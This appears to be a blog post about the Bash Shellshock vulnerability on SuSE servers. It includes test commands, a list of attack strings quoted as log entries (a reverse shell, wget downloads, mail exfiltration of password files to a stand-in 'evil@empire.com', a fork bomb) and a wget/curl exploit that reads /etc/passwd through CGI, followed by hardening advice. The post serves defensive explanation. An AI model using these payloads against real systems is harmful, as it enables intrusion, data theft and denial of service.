SuSE Shellshock - Don't be so shocked.

In a nutshell it's not really a 'bug' but a feature!

Shellshock, the Bash vulnerability that is sweeping the Linux Server world at present. Everyone's seems to be bashing Bash, shelling out broken /bin/sh, zooming to ZSH and talking about a little dash of Dash and so on and so on. Linux users - Are you vulnerable? Should you be concerned about OpenSource?

Apparently the last 25 versions of Bash are supposedly susceptible, but really, is this a bug or rather a serious need and justification for using secure coding techniques and implementing secure server integrations. To understand the 'shellshock' vulnerability you have to understand Bash. I for one like Bash a lot, so if I seem a little biased, don't hold it against me. In a nutshell it's not really a 'bug' but a feature that has been included since its' inception. And for what it's worth, if it's really a bug, then there's more to follow in a lot of stuff. What is this feature? It's the ability to automatically invoke environmental variables upon inception of a new shell and the capability to define a function in an environment variable. Some may say, it seems the programmers of the bash shell did not think of bash executing the code right after the function definition. But then again, why not, its perfectly normal within a normal system shell script? In Linux/Unix, the underlying system programming language is C. C is a powerful programming language. In C, you the coder have to account for everything. Likewise in Bash which itself is a C program built to utilize a bunch of other C programs, you the scripter must still attempt to account for everything.

But, just because you can open up a shell prompt and issue the following commands, does not necessarily mean your server is vulnerable. What matters is how you code and secure your environment.


env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

or


export ex='() { echo "function ex" ; }; echo "this may be trouble"; '

or


env X='() { (a)=>\' bash -c "echo date" ; cat echo

Everyone on the system can access the 'echo' and 'date' function along with many others. Try this and see what you get.


env X='() { (a)=>\' bash -c "cat /etc/passwd" ; cat cat

Was it allowed or denied?

Once more, nothing can take the place of good system accounting and security. And Linux can go as fine-grained as you need it to be, which means you can make it as Safe/Open or NOT as Safe/Open as you want it to be!

If your 'grep' ing ( grep "{ :;};" ) through your logs and looking for anyone attempting to test your defenses and finding things like what I list below, take a breather and think about your configurations. You are running your services as a non privileged user correct? Are you using a chroot environment? Permissions on your system are pretty darn good, right?


 () { :;}; /bin/ping -c 1 198.x.x.x
 () { :;}; echo shellshock-scan > /dev/udp/evilempire.com/1234
 () { ignored;};/bin/bash -i >& /dev/tcp/104.x.x.x/80 0>&1
 () { test;};/usr/bin/wget http://evilempire.com/music/file.mp3 -O ~/cgi-bin/file.mp3
 () { :; }; /usr/bin/curl -A xxxx http://112.x.x.x:8011
 () { :; }; /usr/bin/wget http://115.x.x.x/api/file.txt
 () { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd
 () { :; }; mail -s "Your files" evil@empire.com | find ~ -print
 () { :; }; mail -s "Some password file" evil@empire.com | cat ~/.secret/passwd
 () { :; }; :(){ :|: & };:        # denial of service type

Are you using older CGI methods (.shtml etc.) or newer ones like PHP? For example PHP can only be exploited in the shellshock-case by using it in PHP-CGI mode due to the nature how CGI works. For PHP functions like system() and exec() it is not possible to influence the environment variables unless you set them yourself in PHP and if your using Apache mod_php, your pretty safe also. An example would be something simililar to system("HTTP_SERVER=evil.empire.com /path/to/script"); In older CGI scripts you could easily exploit this bash feature by doing something like this - put a simple shell script in /path/to/script/cgi-bin/test.cgi or wherever your /www/cgi-bin is located on your system.


#!/bin/bash
   echo "Content-type: text/plain" 
   echo 
   echo
   echo "Hi"H
 

Now simply issue a wqet.


wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://YOUR_SERVER/cgi-bin/test.cgi 

You may see the contents of the passwd file displayed. If you do, then, yes this can mean trouble. Bash is powerful, it's the system shell where anything can be done! Some folks out there may still be running older CGI methods, but many are not. If you are running some really old legacy site then you may want to fret.

To be sure, go ahead and conduct some tests of your own for any sites for which you are running. On SuSE if your'e using PHP, try this, create a php script for testing like so.


<?php
# any calls that use shell functions, may trigger the bad HTTP_USER_AGENT variable
print "Tmp Folder:\n";
passthru('/bin/ls /tmp');
?>

Next, open a Firefox browser and add a string, by typing about:config in the address bar , right click, select 'new string' and input 'general.useragent.override'. Set this variable with the value

() { :; }; touch /tmp/shellshock

Afterwards, open a new tab and point your browser to the php script you created. Now, you will get a listing of /tmp, but now now, keep a hold on your horses, check the /tmp/ directory on the server and see if you see a file called shellshock. Did you see that file created? On SuSE, more than likely not. But, what if your using some other php function other than 'passthru'? Go ahead and change the php function to some other function like 'shell_exec'. Did you get the same response? On SuSE you'll find that it also does not return anything using the 'shell_exec' function. After you test, go ahead and reset or clear that Firefox variable. If you want to test this from a command line, go ahead and use this.


curl 'http://www.your_server.com/your_script.php' -H 'User-Agent: () { :; }; touch /tmp/shellshock'

To assist in securing your web server, you can use some of these tactics:

  • Run Apache in a chroot.
    1. In Apache or httpd 2.2 switch from using "|" to "||" in piped logs, this removes the need for /bin/sh (available since Apache 2.2.12).
    2. In Apache2 or httpd 2.4 make sure you're not using "|$" in piped logs, this reverts to the httpd.2.2 behaviour. 2.4 supports | and ||, neither use /bin/sh.
  • Make sure the default CGI scripts are disabled in the top-level Options (e.g. ExecCGI.
    1. or Disable mod_cgi from loading in the httpd.conf or sysconfig.d/loadmodule.conf (SuSE).
  • Don't run Bash or any type of shell functions directly from your web services.
  • Run 'auditd' with the following options to keep an eye on any calls.
    1. -w /bin/sh -p x
    2. -w /bin/bash -p x
  • Patch or upgrade your bash package ( with caveats and reservations ).

If you find that you really need to upgrade bash, perhaps you should try recompiling yourself and add the tid bits of code needed to button down this functionality. Not to sound paranoid, but Linux and Unix are pretty solid and you wouldn't want to just download some rpm or tarball and install the lastest rootkit back-doored right into Bash, now would you? Have fun! and for the most part, don't fret, OpenSource is truly great because it's open to examination!


Peace be unto you. Thank you for visiting!